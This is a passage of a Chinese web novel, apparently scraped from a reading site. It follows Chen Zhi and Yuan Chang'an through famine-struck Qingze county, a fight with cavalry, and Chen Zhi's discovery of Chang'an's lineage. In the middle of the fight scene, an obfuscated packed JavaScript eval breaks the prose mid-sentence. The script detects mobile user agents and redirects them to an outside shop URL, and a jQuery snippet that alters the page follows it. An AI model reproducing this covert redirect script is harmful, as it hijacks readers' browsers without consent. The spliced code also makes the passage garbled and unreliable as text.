“对了,长安知道你眼睛的事情吗?”沈清棠知道不能揭人伤疤,但有些事情,有些人是该知道的。 陈治喝完最后一口药,回道:“她知道。” 沈清棠还在等他的下文,却发现他就只有三个字。她翻了个白眼,感觉自己就是多管闲事。 “行了,你好好休息吧,我就不打扰你了。”沈清棠将他喝完的药碗端了出去,屋内就只剩下陈治一个人。 沈清棠刚出了陈治的小院子,就碰到了沈让,一脸不好意思的模样。她想着,到底是在人家的地盘讨生活,便笑着问道:“沈兄弟是找怀久吗?” 沈让看着面前之人,虽身穿灰布麻裙,未施粉黛。但她那张绝艳的面容和从容优雅的气质,着实令人着迷。 他的脸骤然升起一抹红晕,然后迅速蔓延至耳尖,“那什么,我是来找你的。” “找我?” 沈让解释道:“我带你在寨子里逛一逛,也好熟悉熟悉。” 沈清棠豁然开朗,“好,那等我回去收拾一番。” 沈让道:“无妨,时辰还早。” 他们这边前脚刚走,柔儿后脚就过来找陈治。 “陈大哥。” 在白崇山山寨里,陈治一直戴着面巾,遮着半张脸。现在,柔儿才算看清陈治的长相,确实是俊美无双。 “我来的倒是巧了,陈大哥竟然醒了。” 陈治神情淡然,语气平静:“你找我来有什么事情吗?” 柔儿对着陈治郑重地俯身行礼,语气真诚:“柔儿是来拜谢陈大哥,午后我就要回冠川县了。此一别,不知何时再相见。” 陈治连忙掀起被子,起身扶起柔儿:“救你们出来,不止我一个人,更何况我也没帮上什么大忙,柔儿姑娘不必行此大礼。” 柔儿顺势起身,脸上扬起明媚的笑容:“沈大哥、元姑娘他们,柔儿早已谢过。只是对陈大哥,柔儿是有私心的。我……” 而陈治立马打断她的话,认真且严肃:“柔儿姑娘日后,必有一番出路。承蒙错爱,怀久深感荣幸。然,怀久心中有愤,再无儿女私情。” 话说到这个地步,柔儿再傻也知道自己再无可能。她后退一步,再次对陈治施以一礼:“柔儿明白。望君早日化解心中愤懑,诸事顺遂,更觅得良人作伴。自此一别,愿各自安好,风月同天。” “怀久虽暂困于心结,未能释然以待。然对于姑娘之厚爱,感激不尽。愿姑娘日后珍重,所得皆所愿。” 柔儿走后,陈治也不想在屋里待着了,便想着去刘工匠那里,看看元长安在不在。 经过一条小路,陈治总感觉前面两个人的背影略显熟悉,越看越觉得像元长安和崔涯。 “长安,崔涯。” “嘘!”元长安和崔涯齐齐回头,对他做出噤声的动作。 陈治眉头一皱,不明白他们在搞什么名堂。元长安朝他招招手,陈治不明就里地走到他们身边。 元长安手指着他们前方数百步的距离,一男一女并肩而行。 “阿姐?”陈治不敢置信,他们看热闹的主人公,竟然是他阿姐。 崔涯兴致勃勃,脸上写满了八卦之意:“陈治,你那阿姐是什么来头?难得见沈让对一个人那么上心,我这个做兄弟的,得替他把把关。” 陈治皱着的眉头刚舒展又蹙起,“阿姐不喜欢沈大哥这般,魁梧雄壮之人。” “看不上沈让这五大三粗的?”崔涯一听就不乐意了,“陈治,其实沈让人心眼可好了,又踏实又老实的……” 崔涯对沈让一顿夸,陈治都不知道该怎么说了。他嘴巴开合几次,都不知道怎么开口说。 元长安见他犹豫不决的模样,直接道:“陈怀久,你有什么就说什么,咱都是自己人。” 陈治也知道有些事情是瞒不住的,更何况也没有隐瞒的必要。“清棠阿姐出身安阳沈氏,曾为太子妃。后来明景太子薨逝,阿姐自愿以故太子妃的身份,在皇陵守了明景太子三年。三年期满,阿姐却被尤太后留在皇宫,不得出宫。明景太子与阿姐,青梅竹马,两厢情愿。明景太子离世后,阿姐也曾一病不起,差一点就随明景太子而去。” 元长安却道:“可,这都过去四年了,也该忘得差不多了吧?”她不明白,为什么清棠阿姐会执着于一个死人,并且为他守灵三年。 陈治见元长安一副不懂人事的表情,也怪不得她不懂人间情爱。 “明景太子在世时,世人皆道,他光风霁月,文武双全,乃人中龙凤。他可是京都所有闺中少女的心中良人。而阿姐与明景太子婚后,夫妻恩爱,琴瑟和鸣。当时,明景太子还为阿姐做了一首诗。 10. 庆泽县遇险 陈治这边刚说完,崔涯就接话道:“常记溪亭日暮,笑语盈盈暗香。玉指轻捻红烛光,夜深共话衷肠。几度梦回旧地,犹闻琴音绕梁。愿得一心人白首,共赏月满西窗。我记得,当时厉阳郡中的闺阁少女,天天捧着这诗读,早上读,晚上也读。啧,这么说来,沈让还真配不上人家。” 元长安又插话道:“你说的这首诗,我怎么不知道?” 崔涯用略带嫌弃的口吻,说道:“你成天舞刀弄棒的,能知道什么?” 元长安听出来他的调侃,“切”了一声,冲崔涯翻了一个白眼。随后转向陈治,问道:“那你和那个什么明景太子,谁更招人喜欢?” “这怎么能比较呢?”陈治见沈让和沈清棠已经走远,且看不到身影,“行啦,人都走远了,别看了。” 崔涯转头,确实没有了他们二人的身影,便拍拍手,“我还有一堆正事没干呢,先走了。”打了一声招呼,直接就跑走了。 “我从白崇山拉来了不少黄杨木,你要不要去看一看?”元长安突然想到,他的身体情况,“你现在应该没什么大碍了吧?” 陈治舒展胸腔,“睡了那么久,已经没什么事了。” 元长安这才放心道:“那行,走吧。” 刘工匠身子不好,所以一直都是他的孙女刘月婵负责做工。 刘月婵面容姣好,温婉可人,眉宇之间自有素雅和柔情之气。一头乌黑亮丽的长发盘在脑后,插着几朵鲜艳的小花,衬得她人比花娇。 “长安,陈治。”刘月婵抬起胳膊擦了擦额头上的汗,放下手中的工具,起身为元长安和陈治二人倒水喝。 元长安指着院子里堆在角落都木材,对陈治道:“这就是我拉回来的黄杨木,还有一些因为没地方放,就放在了柴房。” 刘月婵接话道:“这黄杨木木质坚硬,防虫蛀,关键是成本低,是做巨弩最合适的木材。” 陈治拍了拍其中一根木头,然后说道:“这就麻烦刘姑娘了。” 刘月婵一摆手,“这都不是事儿。再说了,大当家可没亏了我们,我们还得谢谢你,让我们有了生计。” 陈治笑了笑,转而看到石桌上自己的巨弩设计图纸,有几处微小的改动,便问道:“这几处是何人所改?” 刘月婵看了一眼陈治手指的地方,解释道:“是那个魏向安,他看你这设计在细节方面有些欠缺,就给你做了一些改动。你放心,是在我爷爷许可的情况下改动的,绝对不会让你的巨弩做出来的成品是残品的。” 陈治看那图纸之上的改动,确实对他的设计有益而无害。 “那位魏师傅的改动精益求精,怀久倍感钦佩。不知他人在何处,我想与他请教一番。” 刘月婵一边做活一边回道:“他呀,跟我爷爷去东山找木材去了。你们可以随便转转,我还得赶工,就不陪你们了。” 元长安看陈治因没有见到魏向安,而有些闷闷不乐。就拉着他的手腕,对刘月婵道:“月婵阿姐,我们就不打扰了,你先忙。”说着,便拉着陈治离开了。 回去的路上,元长安松开了抓着陈治的手,“那个魏向安就是青龙寨的魏老三。” 陈治诧异道:“竟然是他?” 元长安向他解释道:“这魏老三,十年前被官家迫害,家破人亡,而他也因此上了青龙寨。当时青龙寨大当家还不是刘大胡子,叫什么来着我忘了,反正是刘大胡子的亲大哥,不过他跟魏老三亲如兄弟。后来刘大当家去世,刘大胡子接替了他大哥的位置,成了青龙寨的大当家。 也不知道为什么,刘大胡子跟魏老三一直不对付,处处打压他。若不是魏老三答应替刘大当家守住青龙寨,他早就下山自谋出路了。 前段时间,刘大胡子不是算计了他和他那帮出生入死的弟兄们。所以他就向我们投诚,和他们那一帮弟兄入了我们清风寨。再后来,刘爷爷看重他手艺好,就收了他做徒弟,跟月婵阿姐一起做工匠,也算找到了一份生计。” 陈治问道:“你怎么知道这么清楚?” 元长安仰头直视他,回道:“我听大当家和二当家说的啊。对了,我刚想给你说件事儿,这忙来忙去都给忘了。” “什么事情?” “我去白崇山拉木头的时候,听过路的人说起,庆泽县有一座仙音寺,很灵验。你要不要去庙里拜一拜?”那一次在山寨之中,陈治射杀了蔡义方,他反常的举动让元长安担心,害怕他会因此留下阴影。 陈治听说过仙音寺,此寺乃前朝(上一个朝代,大齐)齐武帝为其姑母镇国全福公主所建,只因全福公主信佛礼佛,推崇佛教。仙音寺中的仙音二字,亦是取自全福公主的小字仙音。 “既有灵验的寺庙,岂有不去的道理?”陈治眉眼带笑,看向元长安的眼睛,清澈明亮。 元长安被他所感染,眉眼弯弯,“说走就走。” ----------------- “清风寨的消息就值这点钱?”一个黑衣人掂量着手中的钱袋子,虽然脸上戴着面巾,但眉宇之间还有透露出他的不满意。 佟如清又从怀里掏出一个钱袋子,比那个看起来还要沉些,“我出门就带了这些,等事情结了,少不了你的。” 黑衣人接过那个钱袋子,并且小心翼翼地放在怀里,心满意足道:“顺便再给你个消息,我们寨子里不久前来了一个世家公子,叫陈治,说是什么少陵陈氏,我也记不真切,应该对你们有用。跟我合作,不会亏了你们。” 佟如清眼神微暗,掩去眼底的潮涌。他用舌头舔了一圈牙齿,低声道:“我还是对你们寨子结构感兴趣。” 黑衣人背对着佟如清,“你放心,只要钱到位,你们想知道什么,我都能给你们搞到。不过,你们别忘了,事成之后,答应我的事情。” 佟如清将目光撇向远处,“也请你放心,我这个人,说话算话。” 黑衣人在得到佟如清的回答之后,留下一句“半个月后老地方见”,就大笑着离开了。 佟如清望着他离去的背影,眼睛微眯,不知道在想些什么。 ----------------- 庆泽县与清阳县虽是邻县,但县内景象大相径庭。 在这个被战火蹂躏的时代里,曾经繁华的县城如今只剩下了破败与荒凉。城墙上的砖瓦早已失去了往日的光泽,被风吹雨打侵蚀得斑驳陆离,裂缝中长出了野草,仿佛是在诉说着过往的辉煌与今日的落寞。 城门半开半闭,偶尔有几只流浪狗或野猫出没,而不再是熙熙攘攘的人群和喧闹的车马。 元长安和陈治一进县城,便看到街道上躺满了奄奄一息、骨瘦如柴的人,偶尔有几个衣衫褴褛的行人匆匆走过,眼神中充满了警惕与绝望。他们的步伐沉重,面容憔悴,似乎每一步都踏在了命运的刀尖上。 店铺大多关门闭户,仅有的几家也显得生意惨淡,货架上的货物寥寥无几,顾客更是罕见。偶尔还能看到一些破败不堪的房屋,墙上挂着的“出售”、“停止营业”招牌在风中摇晃,却无人问津。 饥荒的阴影笼罩着整个县城,饥饿成为了比战争更加残酷的敌人。几个瘦弱的身影,手捧着破碗,在废墟间穿梭乞讨。陈治下马拦住了一个小孩的去路,小孩看着他的眼睛大而明亮,眼神更是赤裸裸的渴望。 陈治面对他对生的渴望,心生悲悯,却又无可奈何。他问道:“小兄弟,你可知仙音寺在什么地方?” 许是不说话就能留些力气,他抬手指了指东边的方向,然后转身离去。陈治想叫住他问个清楚,可看到那个瘦骨嶙峋的背影,他怎么也叫不出口。 元长安则是一脸淡然,她道:“咱们就顺着那孩子指的方向,慢慢找,肯定会找到的。” 可是当她看向陈治的时候,发现他一直盯着那个孩子离去的方向入神。他的眼神茫然又带着悲伤,元长安知道,他或许是受到了不小的冲击。她走上前,拍了拍他的肩膀,陈治回神看向她。 元长安道:“走吧,赶紧找找仙音寺在什么地方。” 陈治收起自己的情绪,他清楚地知道自己没有改变现状的能力,毕竟他现在唯一能做的,就是好好活着,他要替陈氏一族报仇雪恨。 顺着那个孩子手指的方向,他们二人驾马一路寻找。还没找到寺庙所在的位置,陈治却已经见识到了这个世道的悲哀。 街道旁,一位老人躺在地上,他的衣服破烂不堪,皮肤紧贴在骨头上,双目深陷,仿佛能看见他一生的苦难。他的手无力地伸向前方,似乎是在向这个无情的世界发出最后的求救,但最终还是缓缓垂下,停止了呼吸。 在他周围,还有一些同样衣衫褴褛的人们,他们的眼神空洞,面颊凹陷,显然是长期营养不良所致。他们或许也曾有过帮助的念头,但在这样一个食物比黄金还要珍贵的时代,每个人都自顾不暇。 一些路人匆匆走过,有的人眼神中闪过一丝同情,但很快就被生存的本能所取代;有的人则完全无动于衷,似乎早已对这样的场景习以为常。 正巧陈治看到一对夫妇经过时,妻子轻轻拽了一下丈夫的袖子,指向倒在地上的老人。但丈夫只是一摆手,然后拉着妻子的手,继续赶路。 后面有那么一两个人停下脚步,投去关切的目光,但最终也因无力改变现状而选择了离开,只留下几声轻叹,在空中回荡,随即消散。 陈治知道自己也是停下脚步,又转身离开的那类人。 尽管周围的一切都显得如此冷漠和无奈,但在一处角落,陈治看到有一位老者,默默地流下了眼泪。他的泪水落在干燥的土地上,瞬间便被吸收得无影无踪,仿佛连大自然都在为这人间悲剧哀悼。 元长安已经走远了不少,她勒住缰绳,回头喊道:“陈怀久,快点跟上!” 陈治知道,他也该转身离开了。 二人行至县城东边的一处小树林,四周弥漫着枯木烂叶的腐朽气。说是小树林,其实树上也就挂着几片枯黄破烂的叶子。 而且每棵树都没有了树皮,更别提地上的野草了。 就在此时,从小树林里窜出来几个蓬头垢面、破衣烂衫、手拿菜刀的人。 为首者说话结巴:“此…此山是…是我开,此…此树是…是我…我栽,要…要从这…这…这里过,留…留…下买…买…买路财。” 元长安看在拦住他们去路的五个人,眉头一蹙,感觉有些难办。因为有陈治在,元长安不想动手杀人。但事情都赶到这里了,不动刀是不行的了。 她叹了口气,放轻声音,对陈治说道:“陈怀久,你先离远一些。” 陈治自是明白她的意思,意味深长地看了一眼那五个毛贼,掉转马头走远了一些。 元长安翻身下马,从双腿外侧拔出蝴蝶双刀,一步步走近他们,“我赶时间。” 这边刚说完话,那个结巴和他四个兄弟齐齐跪在地上,双手高举菜刀。 “好汉饶命!” 陈治再一次过来的时候,就看到那五个人对着元长安点头哈腰,很是谄媚。他甚觉怪异,双眼一眨不眨地盯着元长安,眼眸中带着疑问,等待着她的解答。 元长安翻身上马,面无表情,但是声音中带着一丝无奈:“都是可怜人。田地荒芜,且无人无具无种,而县令早就不知道跑到哪里快活去了。现在城里能吃的都吃完了,树皮、树叶、野菜、野菜,都没了。他们也就没了办法,做了此等营生。” 陈治也只是摇了摇头,表示对他们五人的怜悯。 “你们知道仙音寺在什么地方吗?”元长安问道。 结巴身后的一个瘦弱男子积极道:“我知道我知道,仙音寺就在城中,很好找。” “什么?” 元长安和陈治谁都没有想到,那个小男孩竟然骗了他们。 陈治尚还能回以那五人微笑,“多谢相告。” 而元长安,生气都写在了脸上,她的气性翻涌直上,“等我再见到他,一定把他大卸八块!” 虽然是气话,但陈治总感觉元长安会做出这件事情来。他连忙安抚道:“至少我们现在知道了位置,别生气了,瞧着天色还早些,我们还有时间。” 元长安嘟着嘴巴,没有说话。 二人还没走远,就发现有一群骑兵正在射杀几个破衣烂衫的人。看那些骑兵嬉笑的样子,不用多想都知道,他们在用百姓的生命取乐。 骑兵离元长安和陈治越来越近,陈治发现那骑兵的服饰十分眼熟。“他们是恒王郑吉的部下,没想到竟然能在这里碰到。” 元长安看他握着缰绳的手,紧紧攥成拳,或许是太用力了,甚至微微发抖。 “长安。”陈治漆黑的眸子蕴藏着浓浓的杀意,声音也开始发颤。可他还是用尽全身力气,压抑着自己的怒火,“我们走吧。” 陈治知道,他现在手无缚鸡之力,一旦拼上去,就是死路一条。更何况身边还有元长安,他不能连累她,受无妄之灾。 元长安懂他,“好。” 就这样,陈治绕过那群骑兵,换了一条道路。然而,为首的队长不经意间转头,正好看到了陈治的侧脸,顿时觉得眼熟。他勒住马绳,朝着元长安和陈治大喊道:“前面那两个,站住!” 元长安和陈治停在了原地,二人对视,用眼神交流。 队长一声怒喝,身边的小兵也纷纷看向被叫住的两个人。而被他们追杀玩乐的百姓,趁此机会立马跑得远远的,消失在了小树林里。 队长带着他的七个小兵,朝着他们的方向走近,在不到十步的地方停下,拔出环首刀,指着他们。“转过身来!” 话落,元长安和陈治缓缓地掉转马头,就在队长看清楚陈治的脸之后,还没等他反应过来,就见元长安一跃而起,跳到他的马上,一刀抹了他的脖子。 直到那个队长人头落地,陈治骑马跑远,那七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142850|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人才彻底反应过来。他们形成一个半圆,将元长安包围其中,眼中透露出惊慌和凶狠的光芒,他们的环首刀随时待命,要为死去的队长报仇。 随着一声低沉的嘶鸣,元长安猛地一夹马腹,马儿向前冲去,她半起身,双刀在空中划出一道残影,向最近的两名骑兵猛攻过去。骑兵迅速反应,一名骑兵试图用环首刀抵挡,但元长安的攻势太过迅猛,他的刀被震开。元长安顺势一个转身,左手的刀划伤那名骑兵的胸膛,倒在地上失血而亡。同时她用脚踢飞了另一名骑兵的环首刀,然后抹了他的脖子。 仅一瞬之间,七人已死两人。 “啊!你去死吧!” 有一骑兵因冲动失去了理智,驾马上前,举刀就砍,直接被元长安一刀刺破胸口,死不瞑目。 “二弟!”一名身材高大的骑兵扯着嗓子大喊道,脖子青筋暴起,眼睛布满血丝。 “给我一起上!杀了她,为死去的队长和兄弟报仇!” 他们四人分开,两人从正面迎击,另外两人从两侧包抄。元长安用蝴蝶双刀抵挡正面的攻击,但侧面的两名骑兵趁机逼近,试图从背后偷袭。 元长安感受到背后的威胁,立刻做出反应——用双手撑着马背,双脚将正面的那两个骑兵踢倒在地,同时松开手躺在马背上,避开了侧面敌人的攻击。然后她迅速起身,双刀在空中划出弧线,精准地砍掉了两侧骑兵的手臂,在他们痛苦万分之时,丝毫不拖泥带水地抹了他们的脖子。 倒地的两名骑兵发觉情况不对,起身就要逃跑。奈何元长安一个翻身飞跃,就落在了他们面前,并将双刀插在他们胸口处,然后猛地一拔出,那二人便直直地倒在地上,血流不止。 “唔!”元长安感觉还不错,有点身心舒畅。 元长安刚骑上自己的马,陈治就返回来了。“长安,你没受伤吧?”见到元长安的瞬间,陈治只想知道她有没有受伤。 “我怎么可能受伤。行了,仙音寺今天怕是去不成了,这几匹马看着还不错,咱俩把它们带回寨子里,交给大当家。”元长安一边收起自己的蝴蝶双刀,一边说道。 听到元长安说自己没事,陈治那张紧绷着的脸,终于舒展缓和了不少。对于去不去仙音寺,他并没有多么在乎。毕竟,如果那寺庙真的灵验的话,这庆泽县又怎么会成为现在这幅景象。 可是,他看着眼前这几匹马,有些怀疑道:“我觉得我们两个将这几匹马带回寨子,怕是有些难度。” 元长安一拍胸脯,豪言道:“有我在,没问题!” 然后二人骑着马,还得赶着八匹马,一路上困难重重,十分艰难地回到了山寨。 “可算是回来了!”元长安喘着粗气,这一路上把她累的不轻,还好八匹马,一匹都没有少。 而陈治看向元长安的眼神,十分无奈。本来他已经想好了怎么把这八匹马轻松地带回寨子,可是元长安一点都不愿意听,就要用自己的办法赶,现在她也是累得够呛。 沈让和崔涯刚好经过,也看到了元长安和陈治带回来的八匹马,满脸赞赏。崔涯开口道:“可以啊你们,出去一趟还带回来八匹马。” 沈让简单看了看其中一匹马,连连点头道:“不错,虽然比不上我们上番马,但比我们寨子里的马好多了。话说,你们干什么去了?又从哪里搞来的这八匹马?” 元长安活动着自己快要散架的腰,说话都没有往日那般中气十足:“这事儿说来话长,但是这马是绝对没问题。有陈治作证,我可没骗你们。” 沈让和崔涯二人齐齐看向陈治,陈治冲着他们点点头道:“长安说的没错,这马不是什么歪路子搞来的。是长安靠自己得来的,来路很正,不会有人上门寻马的。” 元长安听着陈治的话,怎么感觉越听越不对劲儿,但是又说不出哪里不对。不过,看沈让和崔涯放松的神情,元长安也就不计较那么多了。毕竟,多了八匹宝马,她还是挺得意开心的。 “行了,你们赶紧回去休息吧,看长安累得也够呛。”崔涯见元长安一直喘,都开始怀疑她到底干什么去了,竟然累成这样。 元长安躺在床上,感叹一声:“舒服。” 最近这段时间,经历了太多的事情,还真是有些身心疲惫。她闭上眼睛,不知不觉间进入了梦乡。 陈治因为从白崇山回来之后,就已经睡了一天一夜。虽然他现在确实有些疲惫,但一点睡意都没有,索性拿起桌案上的书本翻阅。书本看到一半,他突然有了编写话本子的想法。说干就干,他起身走到桌案前,研磨展纸,提笔集思。 等到他放下手中的毛笔之时,屋外已是夕阳西下,天色渐暗。陈治赶忙点燃了房内所有蜡烛,那散发出的光芒,照亮了昏暗的屋子,也让他看得更清楚。 还好元长安体谅他眼睛的毛病,为他弄来了不少蜡烛,让他晚上能看得清。 “怀久。”沈清棠来给陈治送饭,“你和长安怎么回事?出去一趟,回来了连晚饭都不吃了。” 陈治接过饭菜,听着沈清棠的絮叨,然后回道:“长安许是太累了。我刚在编话本子,忘了时辰。” 沈清棠一听他在编书,眉头轻轻挑起,嘴角上扬:“既是在编写话本子,可否让我看上一看,也能为你指点一二。” 陈治正有此意,将一沓纸张递给沈清棠。沈清棠仔细品读,读着读着,竟然笑出声来。她调侃道:“你这话本子,看似是写清风寨的事情,实际上啊,只围绕着长安一个人写。你瞧瞧这句,‘剑眉入鬓,凛然英气溢于言表。其目若含桃之姿,眼梢微挑,纤长睫毛如羽扇轻拂。启朱唇而笑,眸如新月之弯,熠熠生辉,独憾其笑颜鲜见耳’。不过,这‘独憾其笑颜鲜见尔’,我见长安挺喜欢对着你笑的啊。” 陈治偏过头去,脸颊、耳朵通红,一向平静淡然的眸子,竟然多了几分无措的慌乱。 “怀久这般耳尖羞红,眉宇慌乱,可是心中藏了事?”沈清棠嘴角含笑,眼神中的欣慰不言而喻,“没想到这多智公子竟然也有惊慌失措的时候。” “阿姐……” 沈清棠放下那一沓纸张,不再打趣他:“好了好了,我不说了。” 不过说起元长安,一直有一个疑问萦绕在陈治心底,他问道:“阿姐,你可知京畿九郡之中,可有姓元的人家?” 沈清棠敛眉凝思,双目微眯,双手不自觉地置于案几之上,十指交缠,“我还真想到一个。” 彼时,陈治忽闻佳音,顿时喜形于色。只见其眼中光芒四射,如同晨曦初照,万物复苏。 “谁?” “你忘了?异姓王元纪之啊。十二年前,先帝刚继位不到一年,南乌来犯,钦安王元纪之举十五万大军平乱。然而,先帝宠信尤氏一族,并封尤氏胞弟尤秉华为大将,负责救援接应。尤秉华文武不全,误了战机,导致大晋十五万大军全军覆没,钦安王战死沙场。其在京都的家人,也因先帝之怒,满门抄斩。” 11. 缘续旧时逢 陈治顿觉愕然,双目微张,似不敢相信耳中所闻。旋即,面上疑惑之色一扫而空,取而代之的是难以抑制的惊喜。 嘴角不由自主地向上扬起,露出了洁白的牙齿,笑意从唇边绽放,直抵心间。 他站起身来,身形微晃,几欲倾倒,“没想到竟然是她。” “什么?”沈清棠见他双手不自觉紧握成拳,微微颤抖,心中十分担心。 陈治终于想起来,元长安耳朵后的红色胎记,为什么那么眼熟。 十二年前,钦安王妃产女,陈母同钦安王妃乃闺中密友,便带着当时年仅四岁的陈治前往京都钦安王府探望。 那一天,钦安王妃见到陈治,便心生喜爱,就让他抱一抱刚出生的小妹妹。就在这一刻,陈治看到了小妹妹耳朵后面,有一块红色胎记。 陈治还记得,当时自己从嬷嬷怀里抱过正在哭闹的小妹妹,那小妹妹竟然一直盯着自己笑。那时候的自己,也是特别喜欢这个一见自己就笑的可爱妹妹。 钦安王妃还曾笑着说,长安那么小就喜欢怀久哥哥,以后说不定就成怀久的小跟班了。 是了,那个小妹妹也叫长安,小字长安。钦安王妃本来想等钦安王凯旋时,让他来取名字。只是没想到,陈治跟着母亲回到少陵之后没多久,大晋战败,钦安王战死沙场,钦安王府满门抄斩。 钦安王妃没有等到丈夫的归来,长安也没有等到父亲的取名,而他也再没见过那个一直盯着自己笑的小妹妹。 十二年前,他只有四岁,这些事情他记得也并不真切。随着他一天天长大,周围的事情也越来越繁琐,幼时的记忆也就被他埋藏在最深处。 良久,陈治方回过神来,但仍是一副惊喜万分之态,眼角更是滑落一滴泪珠。 沈清棠见状,神色忧虑,眉宇间满是愁绪,双眉紧锁,仿佛两道山峦相连,难以舒展。 他怕不是,被魇着了? “怀久,你怎么了?为什么哭了?” 陈治抬手擦去脸上的泪痕,双唇微颤,嘴角却扬起一抹欣喜的微笑,那是一种历经艰辛终获甘霖后的喜悦。身子微微颤抖,似是激动所致,又似是喜悦之极。良久,他才开口道:“我就是太开心了。我陈怀久活了十六年,第一次觉得,缘分是这样妙不可言。” “缘分?”沈清棠被陈治都给整糊涂了,但还是再三确认他是不是真的没事。 陈治的眼神中带着欣喜,“我真的没事,这天也不早了,你赶紧回去吧。” 沈清棠就这样,带着满心疑虑和担忧,回去了。 ----------------- 柳全在前厅看书的时候,接到了佟如清和冯子嵇带来的消息:孙贯队长与其一行七人皆死于非命。 冯子嵇看到那几人尸体上的刀伤,立马就认出了是元晨的蝴蝶双刀。他赶忙回禀道:“先生,卑职认识这刀伤,正是清风寨元晨的蝴蝶双刀所伤。” “又是清风寨……”柳全现在对清风寨里的人,越来越感兴趣了。 佟如清继续道:“有几个百姓看到了当时的情形,说是有孙贯等人劫住了一男一女,然后那个女的看起来十岁左右的样子,手持双刀,一人杀了他们八个人。” 柳全不敢相信,一个十岁左右的姑娘,竟然杀了他八个骑兵。 “清风寨真是越来越有趣了。” 柳全刚嘟囔完,冯子嵇就插话道:“那个元晨十三岁,武功确实了得,先生千万不要小看了他们。” “我知道了,你先下去吧。”柳全被他吵的头疼,只好打发了他去。 冯子嵇退下之后,佟如清道:“先生,这冯子嵇可不老实。” 柳全没有说话,反而看向佟如清,后者说道:“不知他是在怎么勾搭上黄石堡堡主石守恩的女儿,在这些天一直联系不断。” “黄石堡与清风寨一向关系较好,既然我们搭上了这条线,就该好好利用。”柳全的眼中满是算计。 佟如清了然,“卑职明白。” “陈治有消息吗?”柳全还没有忘了他的心头一患。 佟如清的身体微微一顿,眉头一皱,后又舒展:“卑职无能,还是没有找到。” “罢了。”柳全摆摆手道:“那我们在清风寨的暗线,插进去了吗?” 佟如清道:“卑职已经找到了合适的人选,此人绝对靠谱。” “好!” ----------------- 不知道是不是自己想多了,元长安总感觉这两天陈治怪怪的,对自己特别“殷勤”。 “长安,崔涯让我问你,明天黄石堡石堡主的女儿大婚,你要不要跟二当家去凑凑热闹?他有事去不了,沈大哥也不去。”陈治一如这几日,只要是看到元长安,又或者是跟她说话,脸上总是带着明显的笑意。 元长安一听可以凑热闹,一扫刚才还在被一堆之乎者也所困扰的痛苦,立马眼睛放光:“肯定要去,我听说石堡主的那个女婿,是石玉秀偶遇的一个公子哥。因为长相俊美,让石玉秀芳心暗许。我还想去瞧瞧是怎么样的好看,竟然能迷住石玉秀。” 陈治问道:“你和石堡主的女儿关系很好?” 元长安直接放下手里的书,向后靠在椅背上,回道:“一点都不好。石玉秀自从跟着石堡主来过一趟清风寨,就喜欢上了崔涯,还哭着闹着非他不嫁。前年,她及笈,就让石堡主来寨子里提亲。当时崔涯才十四岁,被石玉秀吓得好几天都没出门。再后来,不知道她听谁说的,觉得崔涯不娶她是因为我,就在寨子门口吆喝,要和我打一架。最后她被我打跑,就没怎么有联系了。” “原来还有这么一回事儿。”陈治见她一有机会就把书丢一边,微蹙之眉间隐含无奈,然唇角却轻扬,漾起一抹柔和的笑意:“怎么又把书给放了?刚刚学的那一段,你记住了吗?” 元长安猛地抬起头来,眼神中满是讨好,“能不能明天再学?我现在头疼脑胀,真的是学不下去了。” 陈治看向她的双眸,虽波澜不惊,却深藏柔情:“明天学也可以,但是你要答应我,今天学到的这些,你要记住,明天我可是要检查的。如果你没有记住,明天就不要跟着二当家去黄石堡了,留在寨子里继续学。” “啊?!”原本元长安还以为陈治心软,网开一面放她一马。没想到,这厮竟然如此歹毒,竟然还算计她明日的安排。 元长安趴在桌子上,双手交叠,垫在下巴处,“陈怀久你太坏了,早知道上次就不带你去白崇山了。” 陈治无声地笑了,他轻轻戳了戳元长安的额头,道:“就算你不带我去白崇山,我想教你的时候,还是要教你的。你呀,别老想着吃喝玩乐,把心思放在书本上,学得快些,也省得自己那么烦。” 元长安眼珠子滴流转,不知道想到了什么,突然坐直了身子,“陈怀久,我教你习武怎么样?” 然而,陈治平静且从容地摆手拒绝道:“我身子骨不好,习武能要了我的命。你呀,就别想着在学武这方面报复我了。” 小心思被陈治戳破,元长安也不觉得尴尬,她只会觉得可惜,竟然让他逃过一劫。 “长安,你相信缘分吗?” 陈治突如其来的话,让元长安觉得莫名其妙,但还是回答道:“我是相信又不相信,分情形而定。如果情形好,我就相信。如果情形不好,我就不相信。” “你呀。”陈治是真不知道该拿她怎么办了,“行了,反正你现在也看不进去书,该干什么就干什么去吧,我也不拘着你了。” 得了陈治的准儿,元长安喜形于色,直接一溜烟儿就跑得无影无踪。陈治见她如此欢快,心中的欢喜,又深了几分。 他愿意相信缘分,因为兜兜转转,他们还是遇到了对方。 元长安去练武场的时候,正巧看到沈让背着竹篓跟在沈清棠身边。她便出声询问道:“沈让,清棠阿姐,你们干什么去?” 见是元长安,沈清棠回道:“沈大哥陪我去东山采些草药,长安你这是干什么去?” 元长安微抬下巴,指向练武场,“我去练武场。” 沈让想起来沈老大让自己给元长安带的话:“长安,我爹让你去议事堂找他,他有些事想问你。” 元长安答应道:“行,我这就去。” 与沈让和沈清棠告别之后,元长安便转方向去了议事堂。 “大当家,你找我?” 一进堂内,就听到沈老大和二当家在商议,周城侯和定襄郡太守联合攻打常山郡的事情。见到元长安过来,他们也就停止了说话。 “长安,你过来一下。”沈老大招手示意她过来,“出去有没有受伤?” “那几个小贼还不至于伤得了我。” “你和陈治在庆泽县到底遇到了什么事情,怎么还带回来八匹马?” 元长安坐定之后,就将在庆泽县遇到骑兵的情况,一五一十地都说明白。末了,她还补充道:“恒王刚占领少陵郡,现在又出现在庆泽县,怕是用心不善!” 